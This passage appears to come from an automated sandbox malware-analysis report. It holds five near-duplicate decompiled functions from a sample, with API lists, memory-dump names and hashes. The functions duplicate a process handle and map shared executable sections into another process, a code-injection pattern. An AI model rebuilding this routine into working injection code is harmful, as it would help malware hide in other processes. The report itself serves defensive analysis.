					_t192 = _t208 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t192, 0x18);
					 *_t192 = 0x18;
					_push(_t208 - 0x30);
					_push(_t192);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t180, _t180, 2) == 0) {
						 *(_t208 - 8) = _t180;
						_t99 = _t208 - 0x50;
						 *(_t99 + 4) = _t180;
						 *_t99 = 0x5000;
						_t193 = _t208 - 0x54;
						if(NtCreateSection(_t193, 6, _t180, _t99, 4, 0x8000000, _t180) == 0) {
							 *_t25 =  *(_t208 - 0x50);
							_t123 = _t208 - 0x44;
							 *_t123 = _t180;
							if(NtMapViewOfSection( *_t193, 0xffffffff, _t123, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
								_t125 = _t208 - 0x3c;
								 *_t125 = _t180;
								if(NtMapViewOfSection( *_t193,  *(_t208 - 0xc), _t125, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
									_t207 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t180, _t207, 0x104);
									 *((intOrPtr*)(_t207 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t180;
						 *_t101 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t194 = _t208 - 0x58;
						_t102 = NtCreateSection(_t194, 0xe, _t180, _t101, 0x40, 0x8000000, _t180);
						if (_t102 != 0) goto L66;
						 *_t102 =  *_t102 + _t102;
					}
				}
				_push(0x15a4);
				_t93 =  *_t211;
				_push(0x83);
				L004011F5(_t180, _t237);
				return _t93;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction ID: 3c61d4fa49215657d74707620d36eaa57d50516e3f831c539a14d6838cb40392
Opcode Fuzzy Hash: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction Fuzzy Hash: 23513CB1900249FBEB209F91CC49FAF7BB8EF85710F14412AF911BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00401577() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				intOrPtr* _t205;
				void* _t210;

				asm("repe push 0x387");
				_push(0x387);
				_t205 = _t204 + 4;
				_push(0x83);
				L004011F5(_t175, _t210);
				_t126 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L63;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t205;
				_push(0x83);
				L004011F5(_t176, _t231);
				return _t90;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction ID: ba3189e89dbc592d8eefb072767128172b6b3105eb2a85c49d1307986ab5c8dd
Opcode Fuzzy Hash: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction Fuzzy Hash: 9D511B71900249BFEB209F91CC48FAF7BB8FF85B14F10412AFA11BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401523 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401523(void* __eax, void* __esi, void* __eflags) {
				long _t89;
				long _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				long _t100;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				long _t124;
				PVOID* _t125;
				long _t126;
				intOrPtr _t129;
				long* _t134;
				void* _t176;
				struct _EXCEPTION_RECORD _t177;
				struct _EXCEPTION_RECORD* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				intOrPtr* _t207;

				asm("outsd");
				asm("out 0x70, al");
				if(__eflags > 0) {
					L004011F5(_t176, __eflags);
					_t129 =  *((intOrPtr*)(_t205 + 8));
					_t177 = 0;
					 *(_t205 - 0x34) = 0;
					__eflags = gs;
					if(gs != 0) {
						_t4 = _t205 - 0x34;
						 *_t4 =  *(_t205 - 0x34) + 1;
						__eflags =  *_t4;
					}
					while(1) {
						_t89 =  *((intOrPtr*)(_t129 + 0x48))();
						__eflags = _t89;
						if(_t89 != 0) {
							break;
						}
						 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
					}
					 *(_t205 - 0x5c) = _t89;
					_t187 = _t205 - 0x60;
					 *_t187 = _t177;
					 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t187);
					_t92 =  *_t187;
					__eflags = _t92;
					if(__eflags != 0) {
						_t134 = _t205 - 0x30;
						 *_t134 = _t92;
						_t134[1] = _t177;
						_t189 = _t205 - 0x28;
						 *((intOrPtr*)(_t129 + 0x10))(_t189, 0x18);
						 *_t189 = 0x18;
						__eflags =  *((intOrPtr*)(_t129 + 0x70))(_t205 - 0x10, 0x40, _t189, _t205 - 0x30);
						if(__eflags == 0) {
							__eflags = NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t177, _t177, 2);
							if(__eflags == 0) {
								 *(_t205 - 8) = _t177;
								_t99 = _t205 - 0x50;
								 *(_t99 + 4) = _t177;
								 *_t99 = 0x5000;
								_t190 = _t205 - 0x54;
								_t100 = NtCreateSection(_t190, 6, _t177, _t99, 4, 0x8000000, _t177);
								__eflags = _t100;
								if(_t100 == 0) {
									 *_t26 =  *(_t205 - 0x50);
									_t123 = _t205 - 0x44;
									 *_t123 = _t177;
									_t124 = NtMapViewOfSection( *_t190, 0xffffffff, _t123, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
									__eflags = _t124;
									if(_t124 == 0) {
										_t125 = _t205 - 0x3c;
										 *_t125 = _t177;
										_t126 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t125, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
										__eflags = _t126;
										if(_t126 == 0) {
											_t204 =  *(_t205 - 0x44);
											 *((intOrPtr*)(_t129 + 0x20))(_t177, _t204, 0x104);
											 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
											_t38 = _t205 - 8;
											 *_t38 =  *(_t205 - 8) + 1;
											__eflags =  *_t38;
										}
									}
								}
								_t101 = _t205 - 0x50;
								 *(_t101 + 4) = _t177;
								 *_t101 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
								_t191 = _t205 - 0x58;
								_t102 = NtCreateSection(_t191, 0xe, _t177, _t101, 0x40, 0x8000000, _t177);
								__eflags = _t102;
								if (_t102 != 0) goto L60;
								 *_t102 =  *_t102 + _t102;
								__eflags =  *_t102;
							}
						}
					}
					_push(0x15a4);
					_t93 =  *_t207;
					_push(0x83);
					L004011F5(_t177, __eflags);
					return _t93;
				} else {
					asm("popfd");
					asm("repe add al, 0x9b");
					asm("wait");
					asm("wait");
					return __esi;
				}
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: Section$View$CreateDuplicateObject
String ID:
API String ID: 3617974760-0
Opcode ID: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction ID: c9dca56e4daa214b2bd9150ebf0f157daf6c833c296841cdcd3f7df5e4c146b1
Opcode Fuzzy Hash: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction Fuzzy Hash: 91510A71900249BFEB209F92CC48F9FBBB8FF85B14F14411AFA11BA2A5D7749945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040158C Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040158C(void* __eax, void* __edi) {
				void* _t89;
				intOrPtr _t91;
				struct _EXCEPTION_RECORD _t94;
				intOrPtr _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				long _t104;
				PVOID* _t125;
				PVOID* _t127;
				intOrPtr _t131;
				struct _EXCEPTION_RECORD* _t136;
				void* _t180;
				struct _EXCEPTION_RECORD _t181;
				struct _EXCEPTION_RECORD* _t189;
				intOrPtr* _t191;
				HANDLE* _t192;
				HANDLE* _t193;
				void* _t206;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				intOrPtr _t216;

				_t211 = _t210 + 1;
				asm("clc");
				asm("stc");
				_t89 = _t207;
				_t208 = __eax;
				_t180 = __edi - 1;
				_t2 = _t89 - 0x7d;
				 *_t2 =  *((intOrPtr*)(_t89 - 0x7d));
				_t216 =  *_t2;
				_push(0x83);
				L004011F5(_t180, _t216);
				_t131 =  *((intOrPtr*)(__eax + 8));
				_t181 = 0;
				 *((intOrPtr*)(__eax - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(__eax - 0x34)) =  *((intOrPtr*)(__eax - 0x34)) + 1;
				}
				while(1) {
					_t91 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t91 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t91;
				_t189 = _t208 - 0x60;
				 *_t189 = _t181;
				 *((intOrPtr*)(_t131 + 0x4c))(_t91, _t189);
				_t94 =  *_t189;
				if(_t94 != 0) {
					_t136 = _t208 - 0x30;
					 *_t136 = _t94;
					 *(_t136 + 4) = _t181;
					_t191 = _t208 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t191, 0x18);
					 *_t191 = 0x18;
					_push(_t208 - 0x30);
					_push(_t191);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t181, _t181, 2) == 0) {
						 *(_t208 - 8) = _t181;
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t181;
						 *_t101 = 0x5000;
						_t192 = _t208 - 0x54;
						if(NtCreateSection(_t192, 6, _t181, _t101, 4, 0x8000000, _t181) == 0) {
							 *_t28 =  *(_t208 - 0x50);
							_t125 = _t208 - 0x44;
							 *_t125 = _t181;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t125, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
								_t127 = _t208 - 0x3c;
								 *_t127 = _t181;
								if(NtMapViewOfSection( *_t192,  *(_t208 - 0xc), _t127, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
									_t206 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t181, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t103 = _t208 - 0x50;
						 *(_t103 + 4) = _t181;
						 *_t103 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t193 = _t208 - 0x58;
						_t104 = NtCreateSection(_t193, 0xe, _t181, _t103, 0x40, 0x8000000, _t181);
						if (_t104 != 0) goto L60;
						 *_t104 =  *_t104 + _t104;
					}
				}
				_push(0x15a4);
				_t95 =  *_t211;
				_push(0x83);
				L004011F5(_t181, _t237);
				return _t95;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction ID: 02d2e3ac3767ea31e924919402f7a0ff100aaf9667a8aefd77e34752db93229b
Opcode Fuzzy Hash: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction Fuzzy Hash: C9513AB1900249BFEB209F92CC48F9FBBB8FF85B14F10415AFA11AA1E5D7749944CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00401585 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401585() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				intOrPtr* _t206;
				void* _t211;

				_push(0x387);
				_t206 = _t205 + 4;
				_push(0x83);
				L004011F5(_t175, _t211);
				_t126 =  *((intOrPtr*)(_t203 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t86;
				_t185 = _t203 - 0x60;
				 *_t185 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t185);
				_t89 =  *_t185;
				if(_t89 != 0) {
					_t132 = _t203 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t203 - 8) = _t176;
						_t96 = _t203 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t120 = _t203 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t120, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t203 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t122, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t98 = _t203 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						_t99 = NtCreateSection(_t189, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L64;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t206;
				_push(0x83);
				L004011F5(_t176, _t232);
				return _t90;
			}

0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction ID: 9d9f292dd7e40d4d2d6115b75542e29ae97a3c703512c5fffb38717ec82669a3
Opcode Fuzzy Hash: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction Fuzzy Hash: 36511A75900249BFEB209F91CC48FAF7BB8FF85B14F10416AFA11BA1A5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040159A Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040159A() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				intOrPtr* _t204;
				void* _t209;

				_push(0x83);
				L004011F5(_t175, _t209);
				_t127 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L61;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t204;
				_push(0x83);
				L004011F5(_t176, _t230);
				return _t90;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 0000000D.00000002.401020433.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_dbjigst.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction ID: 1cd82c906aaffff485458f801d6ba595cb0416390f7e33d4f9d681d8d529f326
Opcode Fuzzy Hash: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
